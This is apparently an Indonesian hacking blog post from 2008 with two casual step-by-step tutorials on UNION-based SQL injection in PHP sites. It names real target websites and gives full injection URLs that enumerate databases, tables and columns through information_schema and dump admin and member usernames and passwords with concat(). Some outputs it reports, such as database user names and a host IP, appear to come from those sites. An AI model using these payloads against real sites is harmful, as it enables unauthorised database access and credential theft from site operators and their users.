SQL injection (PHP)

siapkan secangkir kopi dan sebungkus roko…klo bisa sebelah cewe…biar semangat!! yuks mulai aja ptama2 cari site yg mau di inject.

contoh: http://www.zaishu.com.au/shop.php?id=41

skarang tambahkan tanda – di blakang angka 41

http://www.zaishu.com.au/shop.php?id=41-

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ORDER BY iorder ASC’ at line 1 keluar tulisan itu.. kemungkinan bisa di inject nih.. yuk mulai aja…

query pertama kita gunakan UNION SELECT

http://www.zaishu.com.au/shop.php?id=-41+union+select+1/**

nah disini kita mencari angka ajaib..kalo blom kluar terusin nomor setelah select http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2/**

terusin sampe kluar angka ajaibna ternyata sampe di angka 14 h

ttp://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/**

nah angka ajaib yg kluar 4,5 dan 11 angka2 inilah yg nanti digunakan.

nah setelah dapet kita cari version,user,database dengan memasukkan query ke angka ajaib tersebut * version() : current mysql version * database() : current database where user is connected * user() : connected to the database * system_user() : obvious * session_user() * current_user() * last_insert_id() * connection_id()

kali ini saya akan menggunakan angka 11

http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13,14/** nah ternyata version 5 sip deh..lanjut lagi… cek database dan nama usernya http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,database(),user(),6,7,8,9,10,version(),12,13,14/** karna angka ajaib ada 3,kita gunakan aja semua… hasilnya

zaishu_zaishu zaishu_user@localhost 5.0.45-community

skarang kita ngeluarin tablenya yang kita cari adalah table admin..ok? query yg kita gunakan adalah table_name from information_schema.tables where table_schema=database() limit 0,1/* ok langsung masukin aja.. http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,table_name,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1/** nah ternyata keluar table address_book ok lanjut lagi… untuk ngeluarin table berikutnya tinggal di tambahin limitnya menjadi 1,1 2,1 dan seterusnya. kali ini kita akan mencari table admin.. ternyata sampai 2,1 kluar table admin dengan nama adminrights sekarang kita cari columnnya. query yg kita gunakan adalah column_name from information_schema.columns where table_name=’table_name’ limit 0,1/* nah table name yg kita cari tadi adalah adminrights kita rubah dlu menjadi bilangan hexa menjadi 0x61646d696e726967687473 jadi skarang tinggal kita masukkan. http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14+from+information_schema.columns+where+table_name=0x61646d696e726967687473+limit+0,1/* nah ternyata kluar column id selanjutnya kita tinggal tambahkan limitnya menjadi 1,1 2,1 dst akan kluar column username,password langkah selanjutnya tinggal kita kluarin datanya. kita akan menggunakan query concat() akan menjadi seperti ini

http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,concat(username,0x2D2D,password),12,13,14+from+adminrights/** Ups,..ternyata kluar login dan password admin

PS: tanda + hanya sebagai pemisah bisa di ganti dengan spasi dan tanda 0x2D2D juga sebagai pemisah pada query concat.

Thank to aimar h4ntu nakkuta

saia mah cuman COPAS..

http://www.pssi-football.com/id/view_news_111082.php?id=-1616+union+select+1,2,3,4,concat(loginname,0x2D2D,password),6,7,8,9,10,11+from+pssi_football_member/*

diposkan oleh Hacking Is Art pada 04:38 0 Komentar

Sabtu, 2008 Juni 07
SQL Injection di PHP Code

Yang harus lo siapin satu bungkus roko, cemilan dan alat pijit untuk tangan lo, kalo2 keseleo, kalo udah semua kita mulai.

http://www.theshiznit.co.uk/review.php?id=242 <<– ini target kita

Sekilas kalo dilihat tidak terjadi apa2 sekarang kita tambahkan tanda – sebelum 242

http://www.theshiznit.co.uk/review.php?id=-242

Maka pada area SCREESHOT dan artikelnya hilang, kemungkinan besar bisa di inject, tapi ingat g semuanya bisa.

Kita mulai injectnya dengan menggunakan UNION SELECT

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1/*

Kita harus memunculkan angka ajaib, jika belum muncul kita teruskan nomor setelah SELECT

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2/*

Ternyata di angka ke-2 belum juga muncul, lanjut lagi ampe tangan lo cantengan

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,5/*

Akhirnya muncul angka ajaibnya adalah 5

Sedikit kurang beruntung karena kita hanya mendapatkan satu angka, tapi gpp, itu lah asiknya

Setelah kita dapat angkanya kita cari vers, user, dan nama databasenya dengan memasukan perintah di bawah ini kedalam nomor yang muncul

* version() : current mysql version
* database() : current database where user is connected
* user() : connected to the database
* system_user() : obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,version()/*

Ternyata versi 5, ok kita beruntung jika versi 4 kurang beruntung, kita lihat user dan databasenya

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,user()/* <<— sr0291893@81.31.99.13 nama usernya

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,database()/* <<— sr0291893 nama databasenya

Itu kalo kita hanya dapet satu nomor saja, jika mendapatkan 2 atau lebih nomor yg muncul kita bisa memasukan perntah kedalam nomor2 tersebut. Tapi g usah kuatir, ada trik tersendiri untuk memunculkan kesemuanya hanya dengan satu nomor, yaitu dengan perintah concat(), ok kita coba dengan perintah concat(version(),0×2D,database(),0×2D,user())

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,concat(version(),0×2D,database(),0×2D,user())/*

Ternyata bisa memuncul kan semua perintahnya 5.0.45-log-sr0291893-sr0291893@81.31.99.13

0×2D = – <<– ini hanya tanda untuk memisahkan saja

Sekarang kita cari tabelnya, ini bagian yg gue sukain, tp bikin pegel kalo tabelnya segambreng. Kita gunakan perintah table_name from information_schema.tables where table_schema=database() limit 0,1/*

Masukan table_name di nomor yang keluar, lalu masukan perintah from information_schema.tables where table_schema=database() limit 0,1/* setelah nomor terakhir

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1/*

Ternyata keluar tablenya dengan nama shiznit_comments

Untuk melihat tabel selanjutnya kita rubah limit+0,1 menjadi limit+1,1 trus limit+2,1 sampai tidak muncul table selanjutnya lagi. Di limit+7,1 kitamendapatkan table user dengan nama shiznit_users

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,table_name+from+information_schema.tables+where+table_schema=database()+limit+7,1/*

Sekarang kita cari columnnya dengan perintah column_name from information_schema.columns where table_name=’table_name’ limit 0,1/*

Cara pemasukannya sama dengan mencari table, dan untuk mencari column selanjutnya sama juga, dengan merubah limit 0,1 dengan limit 1,1 dst.

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,column_name+from+information_schema.columns+where+table_name=’shiznit_users’+limit+0,1/*

Ternyata muncul column id, kita cari lagi maka akan muncul md5id, created_on, email, password, nickname, first_name, last_name, location dan how_found. Wuih ada 10 column.

Sekarang kita keluarkan datanya, kita g perlu melihat semuanya, cukup intinya aja password dan nickname atau terserah lo, kalo mau lihat data yg lain. Karena kita hanya mendapatkan satu nomor ajaibnya, kita gunakan concat() saja, berlebih gampang, atau lo bisa memasukannya satu2 di nomor yg keluar atau nomor 5.

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,concat(nickname,0×3a,password)+from+shiznit_users/*

Apakah yg muncul….ternyata muncul data nickname dan password member disana